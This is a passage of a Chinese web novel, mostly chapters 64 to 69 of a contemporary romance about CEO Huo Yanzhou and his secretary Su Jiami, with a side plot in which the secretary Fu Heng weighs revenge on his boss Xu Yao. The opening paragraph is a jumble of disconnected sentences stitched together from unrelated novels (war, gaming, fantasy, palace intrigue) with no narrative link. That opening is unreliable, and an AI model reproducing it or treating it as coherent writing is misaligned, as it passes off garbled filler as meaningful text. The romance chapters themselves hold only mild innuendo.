“老弟你这话说的太不吉利了!我回头就向委座请求,把你调回南京!你我兄弟并肩作战!也好有个照应!这太仓孤悬敌后,的确太危险了!”桂永清十分仗义的道。 当时间到达五分钟的时候,西门手中的剑姬已经是被消耗到了半血的状态,而且一直利用技能补兵,他现在手中的蓝量也是没有多少了,至于那瓶血药,早就已经在之前喝掉了。 安布罗斯闻言立刻恭敬的点了点头,然后带着是他几个亡灵召唤师去忙乎他们的工作去了。 身体的力量迅速流逝,最后在手榴弹落入日军盘踞的建筑内,发生爆炸的同时,他们也倒在了血泊之中。 两人听到这句话,果然开心了不少,倒是没有继续在这个话题上纠结,只是说她们一定会努力修炼,正说着,牧凡的神识忽然看到了徐儒朝着这边赶来。 陈佳颖就那么看着叶荒,好像要直接用眼神想让叶荒回心转意一样。 “若是府中诸人,可问大娘子,这些年都是她操持内院,外院众仆也可询问老管事,他在府中也有些年头,算是府里的老人了。”岑平建议。 而且就算是杜卡奥手里紧紧只有三成,甚至一成的把握,黄老也会同意。 可不等太监们拿下凤白泠,其中一人哎呦一声,满脸痛苦,摔倒在地。 叶荒想着,一边俯瞰全城的风景,一边开宴会,倒是个不错的选择。 叶荒看着这一幕之后,眼神之中闪过了一抹的阴冷之色,此时的他眼中没有一丝一毫的光彩,就好像是那冰冷的杀人机器一般。 叶荒完全搞不懂龙老爷子为何如此,不过他也清楚,估计就算是自己问这其中的缘由,龙老爷子也不会告诉自己,与其惹得龙老爷子不高兴,自己现如今倒不如就这样,什么东西也不问。 所有事宜都已宣布露崇敏便让众人散去。送走了众人,露盈袖这才和母亲一起回了家。 “怎么样,你们敢不敢和我们一起抢了他们?”领头的柳阳问道。 毕竟水之圣印形成也没多久,哪里比得上“作恶多端”的木之圣印。 他还想说自己族中的筋脉图,看尊云的神情,忙止了口,尊云看他一眼,他便忙退了下去,眼光还时不时的看着那瀑布,不知那宋姬到底如何了? 第64章 傅珩:难道我搞错了? 不知道黎骋找霍砚舟什么事。 总之,霍砚舟领着黎骋风风火火地走了。 苏嘉觅拿过空调遥控器将温度又往下调了亮度,她被霍砚舟亲吻得浑身生火。 她坐在那翻看文件,心中却在审视她对霍砚舟与陆北的差别。 苏嘉觅对陆北也喜欢过,甚至想治疗好心理障碍与他好好在一起,可他出轨了,她本能地抗拒一个脏了的渣男再次靠近他。 至于霍砚舟,她从与他相识,便是他在维护她,帮助她,当然也有气她、诓她,逗她,调她,真实又梦幻,让苏嘉觅有了对爱情的悸动,对霍砚舟本人的点点憧憬。 苏嘉觅自认她一直都是清醒、理智的,只是霍砚舟给的爱意与诚恳太过热烈了,让她有些招架不住。 此时此刻,她急需一个感情分析师——许瑶。 彼时,许瑶正靠在傅珩的怀里抹着眼泪,对面的医生正手法娴熟地给她打石膏。 本以为是崴脚,没想到是骨折。 许瑶抽噎,“老娘以后再也不穿八公分的高跟鞋了。” 傅珩看着平时咋咋呼呼,做事风风火火的许瑶窝在他怀里哭得像只小花猫,他心都被哭软了。 他擦掉许瑶眼角的泪,“许总,你怎么那么喜欢穿高跟鞋啊?” “因为你高啊,”许瑶抽噎,“每次跟你站一起,我不穿高跟鞋,就像个土豆。” 傅珩又被许瑶逗笑了,“哪有长得这么漂亮的土豆?” “你还笑,”许瑶叹了口气,“穿高跟鞋为了拉伸视觉腿长,我要是有苏嘉觅那大长腿,我才不穿这么高跟的鞋呢!” 话音落,“大长腿”苏嘉觅的电话就打进来了。 许瑶接起,没忍住,“觅觅,我右腿骨折了,说不准腿更短了。” 之前,两人在她哥许璴的会所点男公关的时候,苏嘉觅就调侃许瑶赶紧倒腾小短腿跑路,眼下,许瑶的小短腿儿断了。 苏嘉觅听到这,紧张地问,“怎么回事儿?你人在哪呢?” “我在医院打石膏呢,”许瑶抿唇,“还要住院五天,打消炎针。” 苏嘉觅又问许父许母还有许璴知道这事儿吗? 许瑶,“不知道,事发突然。不过你不用担心,傅秘书陪着我呢!” 对面打石膏的医生听此抬头看向了衣冠楚楚,一表人才的“秘书”傅珩,他神情有些不自然,原以为两人是男女朋友关系。 没想到是女老板和男秘书,只是两人这个亲密劲儿,显然是被老板娇养的男秘书,是男女关系。 男医生年纪不大,看傅珩的眼神多了几丝嘲讽。毕竟,软饭男的形象挺让男同胞瞧不起的。 傅珩为人聪明机敏,思辨能力极强,接触人多,看人也准,他一眼就看出了男医生心里的小九九。 他幽深的眸子冷凛地剔向医生,男医生这才收起轻蔑的眼神,心想——凶什么凶,一个软饭男能找到这么漂亮又有钱的女老板,就得接得住男同胞的‘炮火’。 苏嘉觅说要过来看许瑶。 许瑶忙开口制止,“别介,你和霍砚舟现在是关键时期,况且霍夫人都来亲自考察你这个准儿媳了,你来我这费什么事儿啊?” 苏嘉觅拧眉,“你不骂我重色轻友啊?” “拿下霍砚舟,你就是商界的女主子,我多有面子啊!” 许瑶说到高兴处,咋咋呼呼的本性又露出来了。 傅珩垂眸看着他,嘴角禁不住上扬。 原来,许瑶也不能免俗,她也一定想找个有钱有颜的精英男士做老公。 就像她在老家读高中的时候,还不是为了江城一中的校草带头霸凌了他家保姆曲姨的女儿? 想到这,傅珩垂下眼眸,笑容也隐匿不见了。 电话那端的苏嘉觅没能问出许瑶在哪个医院,她悻悻地挂断电话,想了想,起身出去给乔映紫和肖赫准备礼物去了。 上次霍砚舟回来,人家给她带了那么多礼物,她理应投桃报李。 看到许瑶挂了电话,傅珩抵住她的耳根,“许总也喜欢像霍总那样的精英?” 许瑶毫不犹豫地点头,“当然了,谁不喜欢优秀的男人啊?” 她耳根发烧,在傅珩吐气说话的时候,她浑身的鸡皮都起来了。 许瑶坐直身子,回想傅珩那句话,她看向傅珩安慰他,“不过,我的傅秘书也很优秀,千万别妄自菲薄,在我心里,你不比霍砚舟差!” 傅珩神情微微一顿,玩味的笑容僵在脸上。 方才,许瑶说那句话的时候眼睛里全是光,不像是违心的假话。 许瑶则虔诚地问医生,她什么时候能好? 傅珩拧着眉再次问,“许总,你上学那会儿没有特别喜欢的男生吗?” “大学吗?没有,大学我忙着创业呢!” 许瑶眼睛盯着石膏腿,漫不经心地回答。 傅珩不死心,“高中呢?” “高中?也没有。我初中的时候,倒是有一个心仪的高中部校草,可人家校草喜欢学姐,”许瑶没什么情绪,“听说他喜欢的那个学姐家境不好,但学习不错,挺般配的。” 许瑶皱眉,很唏嘘的口吻。 “哎,那学姐命不好,晚自习回家,路过棚改区被强暴了。后来经受不住打击,她跳江自杀了。” 傅珩没想到这件事竟然被许瑶以这种语气说了出来。 他稳着心神,“你在京城读高中的事情?” 许瑶摇头,她语气和缓。 “不是,是我在老家江城读初中时候的事情,初二上学期,我转学到京城的。那边的事情,我也是陆陆续续地听说。” 傅珩咬了下嘴唇,“这个女同学挺惨的,叫什么呀?” 许瑶诧异地看向傅珩,她觉得少言不爱八卦的傅珩话怎么这么多? 她还是耐着性子回答,“时间太久了,我不记得了。毕竟,是高中部发生的事情,我一初中学生,正忙着应付转学考试,没太关注。” 许瑶勾唇,有些不好意思。 “高中部的校草也姓傅,叫什么,我都不记得,大家都叫人家傅公子,时间太久了,他脸都模糊了,反正挺帅的。” 傅珩听此,没再问。 许瑶是初二上学期转学的? 她是初中部的学生? 为什么与他的调查资料不一样,难道他搞错了? 就听许瑶又说,“不过听说校草后来出国了,回国后还去悼念过那个学姐。” 傅珩紧绷下颌,没再说话。 他看着许瑶的侧颜,明艳,阳光,藏不住那么多算计。 另一边,霍砚舟透过雕花窗看向隔壁的卡座。 阮倾威逼利诱柯涓,让她管严自己的嘴巴。 因为柯涓上午见过霍砚舟,得到更有利的保障,而且黎骋又交代她如何应付阮倾,她的回答挑不出毛病。 看着阮倾离去,黎骋才去找柯涓,让保镖送走。 霍砚舟目光沉沉地看向阮倾的背影,眼中窜出无情狠辣。 他拿过手机打给苏嘉觅,“觅觅,在哪呢?” 第65章 霍老六会吃醋 霍砚舟有一种预感,一种不祥的预感—— 霍云杳和阮倾会想方设法地将他‘套路’苏嘉觅的事情告诉她。 想到这,霍砚舟就会阵阵心慌,他要对苏嘉觅严防死守,不让这两个人靠近苏嘉觅,甚至让他们有机会见面。 他让苏嘉觅住到他母亲那,就是这个原因。 霍砚舟想把阮倾和霍云杳按回江城,另外,他等到与苏嘉觅的感情再稳固些,就向她剖白,向她道歉,恳请她的原谅。 霍砚舟握着电话,听着苏嘉觅那边气喘吁吁的声音,让他心底起毛毛。 “你在做什么?” 苏嘉觅将采购来的点心,果脯放在车后备箱里,“我在给夫人和肖管家买特产。” 霍砚舟一怔,嘴角微微上扬,“你在哪?我去找你,陪你买。” 苏嘉觅觉得“移动取款机”要过来付款,她没有理由拒绝。 她将定位发给了霍砚舟,然后就坐在路边的咖啡馆白色凉伞下等人。 霍砚舟开车过来的时候,竟然看到一个白领模样的男人在与苏嘉觅搭讪,而且那男人正拿着手机缠着苏嘉觅要微信。 他抄兜看了几秒钟,他既想看看苏嘉觅是怎么拒绝别的男人的,又忍不住立马杀过去将那个讨厌的男人赶走。 最后,心底怒火和醋意,他完全压不住。 霍砚舟阔步过来,站在男人身边,俯身问,“先生,你要我老婆的微信,想干什么?” 他勾唇,“想当男小三,你貌似还不太够格!” 男人看向衣着不俗,面容英挺,气质优雅且精英感十足的男人。 他干咽了一口,觑了一眼停在一旁的宾利。 陌生男人麻溜地收起手机,“不好意思,打扰了。” 话音落,男人夹着包,撒腿就跑。 苏嘉觅头次直观地感受到霍砚舟压不住的醋意。 她抿唇笑,“你怎么突然就过来了?” “我还没问你呢,”霍砚舟解开西装外套的扣子,大喇喇地坐在苏嘉觅旁边的椅子上,“我不过来,你给不给微信?” 苏嘉觅捏着手机,“不能给,霍老六会吃醋的。” 霍砚舟一顿,他摸了摸鼻子,“觅觅,咱俩各退一步,把微信名换了?” “不换,这是我对你的爱称。” 苏嘉觅觉得“苏小二”比“霍老六”好听,她不介意一直这么叫。 霍砚舟扫了一眼旁边的喝咖啡的客人,也不知道他们有没有听见。 他抿唇,“我一朋友意外知道咱俩的备注名,他嘲笑我们将来生的儿子,外号叫二六子。” 霍砚舟压低了声音,“就是二流子,你忍心让孩子抬不起头?” 他一本正经的样子,让苏嘉觅很不好意思。 两人刚刚确立恋爱关系,而且霍砚舟还在考验期,尚且没有男欢女爱,霍砚舟却说了两人这个微信备注名给将来子女造成的困扰。 这话说到这,过于暧昧了。 苏嘉觅脸颊微微泛红,她轻咳一声,“等我想到好的备注名就改。” 霍砚舟大手握住苏嘉觅做的帆布椅子,将椅子带人扯了过来,“这还用想啊?” 他轻笑,“你不是跟陆北谈过恋爱吗?” 霍砚舟苦笑带着揶揄,“亲爱的、达令、宝贝、老公...这些称呼,我都压得住。” 苏嘉觅见霍砚舟无赖的样子,她无奈地推他,“别闹了,陆北的微信我都删了,我给他的备注就是名字。” 霍砚舟听到这,脸上才有笑模样,“那成,你慢慢想,改好了,我看。” 说完,他握紧苏嘉觅的手将人拉起来,付了咖啡钱。 霍砚舟握着苏嘉觅的手,撑着她包里拿出来的遮阳伞,与她逛特色民俗礼品街。 他的手掌热又大,满满的安全感。 苏嘉觅没想到两人的第一次正式约会竟然是霍砚舟陪她逛街,买东西。 一路上,两人走走停停。 苏嘉觅挑挑选选,霍砚舟时不时给点意见。 她觉得她买的这些东西都很衬心意,霍夫人一定会喜欢。 走累了的苏嘉觅坐在那休息,霍砚舟则去给她排队买网红奶茶,她看着挺拔矜贵的男人站在那,与前面的小男生、女生相比,那么的格格不入却十分耀眼。 苏嘉觅的心跳加快了,那是心动。 买到心仪礼品的苏嘉觅坐在副驾驶喝奶茶,又拿出奶茶店的手工饼干拆包,嚼嚼嚼。 霍砚舟开车,他扶着方向盘,表情恬淡。 他忽而开口,“觅觅,你是第一个敢在我车里吃容易掉渣零食的人。” 苏嘉觅望向霍砚舟。 她嗦了一下手指上巧克力,“万一以后我在你车里吃薯片呢?” 霍砚舟勾唇,“我忍呗,不能不让你吃!” 苏嘉觅对霍砚舟的回答很满意,嘴角漾着笑。 到了路口,霍砚舟停车打开了后备箱。 黎骋从另外一台车下来,从他车的后备箱里拎出很多礼品放在霍砚舟的车后备箱里。 苏嘉觅咬了咬嘴唇。 霍砚舟开车继续走,苏嘉觅又问,“是不是我买的东西上不了台面?” 霍砚舟一手扶方向盘,一手伸过去握了握苏嘉觅的手,“别多想,上次我妈送你的珠宝是定制,我帮你还一份。毕竟,那是我妈。” 那套珠宝竟是定制的? 苏嘉觅想到蜜蜂,玫瑰,原来是暗含了她的名字。 “是我不够细心。” 霍砚舟笑笑,“不是你不够细心,是我希望我妈更喜欢你。” 两人正说话间,霍云杳的电话出现在车中控屏上。 霍砚舟觑了一眼苏嘉觅,毫不犹豫地挂断了。 苏嘉觅不解,“你怎么不接啊?” 霍砚舟轻咳了两声,“我二婶来京城陪她了,我今天只陪你和我妈。” 苏嘉觅没多想。 不多时,车到了一套三进的四合院。 苏嘉觅再次觉得霍砚舟,乃至霍家,要比她想象的还要有钱。 乔映紫看到苏嘉觅准备的礼品很满意,尤其是那套帝王绿的珠宝。 霍砚舟开诚布公,“妈,钱是我出的,东西是觅觅选的,你喜欢吗?” 乔映紫笑着说,“你们俩有心,我喜欢。” 肖赫则拎着两瓶红酒想喝哪一瓶。 霍砚舟却说,“别挑了,那个你带回去,我带了今天喝的酒。” 傍晚,私人厨师带着烤炉和食材来到了这,简单的几人餐,准备的人却不少。 苏嘉觅头次知道有钱人的生活竟然是这样的,她拍了张照片发给许瑶。 许瑶正在床上啃苹果,看到图片,她也惊讶,“我去,霍家这么有钱吗?” 一旁的傅珩收起手机,他让江城律所的人去复核当年的资料了。 他凑过来看了看,眼中尽是惊喜,他隐约察觉到——霍砚舟对苏嘉觅动了真心,有了真情。 傅珩逗许瑶,“许总很羡慕?” 第66章 满脑子都是他? “不止是羡慕,是替觅觅高兴!” 许瑶眼睛有些湿润,她边回复苏嘉觅的微信边说,“我们觅觅那么好,本来就值得被真心对待。” 她笑笑,“可惜啊,我哥又没戏了。” 傅珩看着许瑶,心情很复杂。 他与许瑶相处的这段时间,一直在纠结。 因为眼前的许瑶与调查资料的许瑶判若两人,他接触下来的她没心没肺,大大咧咧,咋咋呼呼,而且性格随和,待人宽厚,实在和能霸凌别人的“许瑶”天差地别。 基于这一点,傅珩迟迟没对许瑶和她的公司下手,虽然,他已经利用职务之便,在公司财务、合同和缴税部分埋了雷,可他一直没有引爆这个雷。 他总说他在等一个契机,可他知道他不忍心,他舍不得许瑶遭罪。 想到这,傅珩按了按眉心,起身,“许总,我去外边透个气。” 许瑶点头,心里甜蜜。 她察觉出她摔伤后,傅珩很担心她,脸上一点笑容都没有,可见心疼她。 不抽烟的傅珩突然间觉得霍砚舟会抽烟也挺好,至少郁闷的时候可以解闷,他聊赖地站在走廊。 这时,许璴带着许父许母过来。 许璴,“傅秘书,瑶瑶怎么样了?” 傅珩抄兜的手拿了出来,笑容温和,“已经打过石膏了,今天的消炎针也打完了,许总还没睡,你们进去看看她。” 许氏夫妇快步进了房间,许璴紧随其后。 傅珩听到许瑶撒娇的声音,“爸妈,哥,我倒霉死了!” “还不是你穿的鞋跟太高了?” 许璴的声音传了过来,“你说你总跟你的小短腿儿较什么劲儿?” 傅珩听到这,嘴角漾笑。 他透过竖条的玻璃窗,看到里面其乐融融的场景,他眉心紧皱。 傅珩想到了一个问题——家庭氛围如此轻松温馨的许家真会教出一个霸凌同学的女儿吗? 正沉思间,许璴拉门出来,他拍了拍傅珩的肩膀,“傅秘书,辛苦了。我妹妹又让你操心了!” “哪里话,我分内的事情!” 傅珩笑笑。 许璴偏头看看里面,无奈地笑笑,“瑶瑶从小就怕疼又心软,我之前送她一只小狗,那狗跑停车场,爪子被压了一下,她心疼死。” “这会儿,她自己骨折了,疼在身上,那更得咋呼了。” 许璴对他这个妹妹十分了解。 傅珩听此,拧眉,“您说我们许总心软?” “嗯,对呀,上学的时候被人欺负,人家给她道歉,她就原谅人家了,”许璴无奈摇头,“你知道她和觅觅是怎么成为闺蜜的吗?” 第67章 想见她就是喜欢的感觉 苏嘉觅脸红得不像样子,可她又好执意推脱。 乔映紫作为长辈已经明确地表示喜欢她,不看重她的家世、门第,只希望她和霍砚舟好好的。 而霍砚舟也说过不会勉强她,让她考验他,给足了她尊重,她没什么好担心的。 夜里,霍砚舟和肖赫坐在院子里的葡萄架下聊天,而苏嘉觅则陪乔映紫在屋内吹空调,吃水果看电视。 肖赫给霍砚舟点了一支烟,他调侃,“你这才从江城回来多久啊,就和人家苏小姐难舍难分了。” “说来惭愧,”霍砚舟夹着烟浅吸了一口,“要不是她赌气从我那搬出去,我还没意识到自己对她的感觉。” 肖赫见高高在上,清冷少话的大少爷主动说起两人之间的事情,他必须得乘胜追击,“什么感觉?” 霍砚舟垂眸,沉吟片刻。 他指了指自己的胸口,“就是觉得这里空落落的。” 霍砚舟缓缓吐出个眼圈,看着烟气消散,“我才发现短短三个多月,我习惯了她在我的视线范围内。” “我曾克制过自己不去想她,可完全控制不住。” 说完,霍砚舟勾了勾嘴角,“再见到她的一刹那,我就知道自己陷进去了。” 听着霍砚舟简单地说着自己的感觉,肖赫却难以想象,“这就是青梅不敌天降?” 霍砚舟眉心微微蹙起,语气却平和,“也不是。感情的事瞬息万变,遇到了对的人,不在相处时间长与短。” “少爷,你通透了!” 肖赫笑眯眯地揶揄霍砚舟,“三儿啊,以后有空给哥也介绍个女朋友。” 霍砚舟伸手掐住肖赫的脖颈,稍稍用力,“以后不许叫我‘三儿’,恋爱中的男女介意这个词,你也少咒我!” 肖赫笑得爽朗,连连求饶。 “三儿”这个词确实在爱情中透着不和谐,不吉利。 霍砚舟松手,肖赫起身就跑,“那以后我随苏小姐叫,叫你老六?” 他笑得合不拢嘴,“服了你了,老六。” 霍砚舟去追肖赫,迎面就见苏嘉觅从里面出来,她手里捏着甜李子,“砚舟,吃吗?” 霍砚舟接过李子咬了一口,挤眉弄眼地让肖赫滚蛋。 肖赫回了东厢房。 霍砚舟则揽着苏嘉觅的腰回西厢房。 苏嘉觅叹了口气,“虽说住在这问题不大,可我没带换洗衣服。” “傻瓜!” 霍砚舟偏头与苏嘉觅说,“我妈既然让你留宿,说明一切都准备好了。” 果然,西厢房的双人床上不仅有男女款的睡衣还有两盒不同尺寸的安全套。 苏嘉觅觑了一眼那安全套,“这...这也是伯母准备的?” 霍砚舟抿唇,他有些不好意思,“不是,这一看就是肖赫那货故意的。” 苏嘉觅脸红的不像样子。 霍砚舟喜欢她的羞涩,将人圈紧,“我尊重你,晚上我保证不要你。” 苏嘉觅紧绷的身体渐渐松弛下来,霍砚舟又说,“你先去洗澡吧,累了一天了。” 她今天走了不少路为给乔映紫买东西。 苏嘉觅去洗澡后,霍砚舟盯着那两盒安全套看,他没用过,所以对自己的尺码并不了解,但他觉得应该是L。 想到这,霍砚舟将安全套拆了,各拿一个放在了换洗睡衣的口袋里。 苏嘉觅洗澡后,换了睡衣出来。 不是性感的款式,倒是休闲短裤和短袖款的浅香槟色真丝睡衣。 可是这个颜色很衬肤色,苏嘉觅本就皮肤白皙,穿着短裤的她露出白皙的腿,看得霍砚舟喉结滚动了几下。 霍砚舟紧绷下颌,拎着他的换洗衣服去洗澡,他叮嘱苏嘉觅,“我就冲一下,我出来给你吹头发。” 苏嘉觅的头发长又密,她自己要吹好久才能吹干。 她坐在那护肤,感慨乔映紫的细致与体贴。 洗漱间里是哗哗的流水声。 过了好一会儿,霍砚舟脸颊潮红地从里面出来,他神情却志得意满,十分得意。 苏嘉觅不解,“洗个澡都给自己洗高兴了?” 霍砚舟抿了下嘴唇,拿着毛巾擦头发,“验证一件事,证明我之前没说大话。” 他顿了顿,“当然值得高兴。” 苏嘉觅听完霍砚舟的话,她也没明白——霍砚舟到底因为啥高兴。 霍砚舟拎着电吹风给苏嘉觅吹头发,柔顺的发丝在他的手中像顺滑的段子一般,淡淡的馨香流淌在他的鼻尖。 他俯身亲了下苏嘉觅的脸颊,“洗了后,你怎么更香了?” 苏嘉觅觉得霍砚舟不正经,可他却正经地给她吹头发。 上了床,空气间流淌着男性荷尔蒙的味道,是张扬的气息,苏嘉觅心跳如鼓。 霍砚舟似乎都听到了她的心跳声,他将空调的度数调低,在薄被中从后面抱住了苏嘉觅,他磁性的声音有些嘶哑,“睡不着?” 苏嘉觅握住霍砚舟不老实的手,“别闹,你说了不要我的。” “不要你,不代表不想问你,摸你啊!” 霍砚舟坏笑着反驳。 苏嘉觅感觉霍砚舟的身体起了变化,他的手机又来了。 霍砚舟低声在苏嘉觅耳边呢喃,“觅觅,肖赫准备的套子有一盒小了,另一盒我早晚用得上,我不着急!” 苏嘉觅瞬间明白了霍砚舟的意思,也明白他方才为何那么高兴了! 只是,他之前也没有过吗? 那他和心里面曾经的那个人也没有过吗? 想到这,苏嘉觅觉得浑身都很热,她把被子拱起来,盖住头,“霍砚舟,你怎么这么骚?” 被骂了霍砚舟只愣几秒,就开始扯苏嘉觅蒙在头上的被子。 “大夏天的,你捂一身汗!” 说完,霍砚舟用力扯下被子。 苏嘉觅被他闹得头发都盖在了脸上,看上去像个疯子。 霍砚舟伸手捋下她的头发,露出那张娇媚的脸,他探身过去,吻了吻她的鼻尖,又辗转在她的唇瓣上,由浅入深,吻住了苏嘉觅。 身体的诚实让霍砚舟出了一身汗,而苏嘉觅也能感受到他的紧绷。 两具燥热的身体在夜色中显得亢奋又暧昧,可理智回归后,霍砚舟翻身躺在一旁,“别让我等太久,觅觅。” 对于生命大和谐的探索,男人都是孜孜以求的,这点苏嘉觅可以理解。 夜里,霍砚舟春梦不断,出了一身汗。 苏嘉觅也不好过,觉得身边的男人烫得像冬日里的炉火,她将空调调到了16度。 第二天早上,苏嘉觅眼下乌青,鼻子闷闷的,霍砚舟打了两个喷嚏。 冷不丁一看两人真像是纵欲过度! 肖赫买回来的道的京味早餐,看到无精打采的两个人,他给霍砚舟发了微信——少爷,你到底行不行啊? 第68章 霍砚舟:别让我等太久! 昨晚霍砚舟没睡好是因为憋得,燥得难受,汗出了一身,冷水澡冲了两道,而苏嘉觅没睡好完全是被霍砚舟“折腾”的。 看着两人无精打采地吃早餐,乔映紫勾唇笑,向肖赫给两人安排了温补的晚餐。 霍砚舟觑了一眼肖赫的短信,人就面无表情地吃早餐。 乔映紫不是第一次来京城,确切地说她对这里并不陌生,提议苏嘉觅带她逛逛不过是拉近与苏嘉觅的距离。 经过昨晚的聚餐,乔映紫很满意苏嘉觅,她笑着说,“吃过早餐,砚舟和嘉觅就去公司吧!” 而她要去霍砚舟的住所把阮倾清理出去。 霍砚舟捏了捏苏嘉觅的手,他眉宇微挑给她示意。 苏嘉觅收到信息,笑着说,“好,伯母找我,直接给我打电话就好。” 饭后,霍砚舟开车带着苏嘉觅离开。 他拿过自己与肖赫的聊天界面给苏嘉觅看,“呐,你瞅瞅,肖赫嘲笑我不行。” 苏嘉觅看着肖赫的调侃,她眼尾微微泛红,她虽然和霍砚舟没有过,可他的暗示与她的亲眼所见,她都觉得霍砚舟不是不行,说不定特别行。 她咬了下嘴唇,“你别明里暗里地暗示我,你再等等。” 早上,荷尔蒙和多巴胺分泌最旺盛的时候,霍砚舟觉得不调一下苏嘉觅,他就觉得缺点什么。 他笑笑,“我等,就是别太久。” 霍砚舟伸手捏了捏苏嘉觅的耳垂,“我忍得挺辛苦的,睡眠质量都不好了。” 昨晚,霍砚舟的瞎折腾,苏嘉觅是亲身经历,她闷闷地应了一声。 “砚舟,到前面停下车,我要去买点水果和鲜花。” 苏嘉觅指着前面的店面跟霍砚舟说。 她喜欢花这事,霍砚舟一直都知道,他说,“我给你买了盆茉莉,放你办公桌上了。” 苏嘉觅知道霍砚舟误会了她的意思,“不是给我自己买,是买给许瑶的。她腿骨折了。” 原来,苏嘉觅要去探病。 霍砚舟摸了摸鼻子,扶着方向盘的手调转车头,“这样啊,我陪你一起去看她。” 他也想“官宣”给傅珩看,免得他节外生枝,露出什么纰漏来。 苏嘉觅点头,“行,到公司处理下事情,我们去看瑶瑶。” 买了鲜花和水果后,两人去了公司。 彼时,公司秘书办,游岚等人把黎骋围成一圈,询问霍夫人对苏嘉觅的印象。 黎骋也没避讳,“苏秘书是未来少夫人这事儿怕是铁板钉钉了,所以,以后不仅要在霍总面前夹起尾巴做人,也得恭敬苏秘书。” 这话不着调,可却透着人情世故、办公室生存之道。 一众人点头哈腰地表示明白。 霍砚舟与苏嘉觅从董事长专用电梯出来的时候,就听到黎骋正在“妖言惑众”。 他沉声,“黎骋,我让你去天桥底下说书去,怎么样?” 嫌弃他话多,多嘴,聒噪了! 黎骋挥手让众人回去。 霍砚舟含情脉脉地看了苏嘉觅一眼,拍了拍她脑袋就回了办公室,而苏嘉觅抬头就看到秘书办的百叶窗后,一排小脑袋。 苏嘉觅笑笑,也回了自己的办公室。 推门进去,就看到霍砚舟送她的茉莉花,淡淡的茉莉香满溢在办公室的空气中,清甜馨香。 她给许瑶打了电话,要来了她所在医院的地址和定位。 董事长办公室内,霍砚舟听黎骋汇报了他昨天被霍云杳的电话连环call的事情,“杳杳小姐找不到你,就没完没了地给我打电话。” 意料之中的事情,霍砚舟没有什么表情,握着笔批文件。 忽而,他抬头看向黎骋,“我一会儿要陪觅觅出去一趟,你去我家盯着点。” 黎骋不解,“啊?去您家盯着谁?” 霍砚舟没抬头,翻了一页文件。 他落笔写字又说,“我妈没留觅觅陪她,一定是去撵阮倾了。” 黎骋反过味来,他连连称是。 他跟了霍砚舟这么久,了解他boss的脾气秉性。 这次霍家二房做的事寒了霍砚舟的心,也让他怀疑霍云杳的真实动机。 这些年,他对霍云杳好,是因一起长大的情分更是因为在霍砚舟小时候,最害怕、无助的时候,阮倾和霍云杳给他的帮助和慰藉。 可他做的一切却成为霍家二房算计他的筹码。 这是把霍砚舟的情感与感恩放在地下摩擦,是踩了霍砚舟的底线,更何况霍砚舟现在心里有了苏嘉觅,他看得更透彻了。 医院病房内,许瑶发完微信,跟正在给她削苹果的傅珩说,“觅觅一会儿跟霍总过来。” 傅珩拿刀子的手微微一顿。 他看向许瑶,微微偏头,“嗯?” 许瑶轻咳两声,她有些不好意思,“我哥说你是有能力有才华的人,窝在我的小公司屈才了。” 她接过傅珩分好的苹果咬了一口,“一会儿霍砚舟过来,我让觅觅把你介绍给他。他的公司规模很大,你去他那发展更有前景。” 傅珩想笑却忍住了,他倾身向前,“所以呢?许总不需要我为你工作了?” “不是的,我是希望你有更好的发展,”许瑶看向傅珩,脸上的红晕层层漾开,“说不定,我们俩可以转换身份和关系呢!” “哦,”傅珩觑向许瑶透着薄粉的脸颊,他明知故问,“是什么身份,又是什么关系?” 这让许瑶怎么说? 她有些气急败坏,“没关系,行了吧?” 傅珩看着把苹果吃出咬牙切齿气势的许瑶,他垂眸偷笑,只是他让调查的事情还没结果,他心焦。 另一边,霍砚舟看到许瑶竟然与霍云杳住一家医院,有些不自在。 “许瑶在几号楼?” 霍砚舟问道。 苏嘉觅,“三号楼,8楼803病房。” 许瑶与霍云杳在一个楼房,不在一个楼层。 霍砚舟微微颔首,“走吧,我陪你去!” 到了医院,霍砚舟提着东西与苏嘉觅一道去了许瑶的病房。 霍砚舟如释重负,他很庆幸没有碰到霍云杳和阮倾。 彼时,霍云杳的病房,过来给她打针的护士说,“霍小姐,我刚才在住院部看到你堂哥霍先生了,跟在他身边的女人长得可漂亮,是你嫂子吗?” 霍云杳下意识地看向门口,可霍砚舟并没有过来。 她避而不答,反问道,“他们许是来看别人的。” “哦,那确实,去了八楼,那是骨科病房。” 护士打完针就走了。 霍云杳看了看自己的吊瓶,她起身拎起输液袋出了门...... 第69章 半斤八两的男人们 霍砚舟将与苏嘉觅一道准备的礼品放在许瑶病床的床头柜处,直直对上傅珩那意味深长的眼神。 苏嘉觅坐在许瑶的病床旁,闺蜜两人大小声地在那叽叽咕咕。 霍砚舟垂下眼眸,嘴角噙着淡笑。 他猜测两人在谈论他和苏嘉觅的事情。 傅珩挠了挠眉尾,浑身不自在,因为他觉得傅珩的狗样子就是在显摆,他不爱看。 他起身,“许总,既然霍总和苏小姐过来陪你了,我就先回公司了。” 许瑶听此赶紧拉住傅珩的胳膊,“傅秘书,你别走,我有事请说。” 傅珩就知道躲不掉,他觑向许瑶温软瓷白的小手,心发软,心里盘桓——大不了就是让霍砚舟捡几天的乐子,算了,留下吧! 他颔首,拍了拍许瑶的手,“好,我留下。” 许瑶有些不好意思,但还是以“大局为重”,“霍总,这是我的秘书傅珩,他毕业于常青藤名校,工作能力很强,窝在我的公司里屈才了。” 单刀直入的许瑶话刚说出口,霍砚舟就明白了许瑶的意思。 他礼貌地伸出手,“久仰傅秘书大名。” 傅珩无奈,把手伸过去。 握手角力,一气呵成的较量隐隐在两个面上风轻云淡的男人手上完成了。 苏嘉觅冲许瑶使眼色,低声问,“你想让傅珩跟着霍砚舟做事?那你的公司呢?” “我公司那么小的庙,离了谁都一样。” 许瑶脸颊泛红,她小声,“觅觅,我之前就想吃窝边草,他要是去了霍砚舟的公司,我就正大光明的追他,不怕我公司其他人笑话我了。” 苏嘉觅知道许瑶对傅珩有意思,但没想到许瑶骨折后,她把脑子摔开窍了。 她目光沉沉地看向霍砚舟,“砚舟,傅秘书真的特别优秀,你可以考虑一下。” 傅珩听到苏嘉觅对霍砚舟的称呼,心底迸发出难以言说的“嫉妒”,他在想若是许瑶叫他“阿珩”,他会不会比霍砚舟还要得意? 霍砚舟得意地冲傅珩挑挑眉,“我公司底盘大,多一个人,少一个人,都无所谓。只是傅秘书愿意去我那吗?” 他又看向许瑶,“许总愿意割爱吗?” 许瑶当然舍不得傅珩,但她得把眼光放得长远一点。 听此,许瑶赶紧表示,“为了傅秘书的前程,我愿意的。” 霍砚舟见傅珩脸色都变了,他忍笑,“这样,那我和傅秘书出去聊聊?” 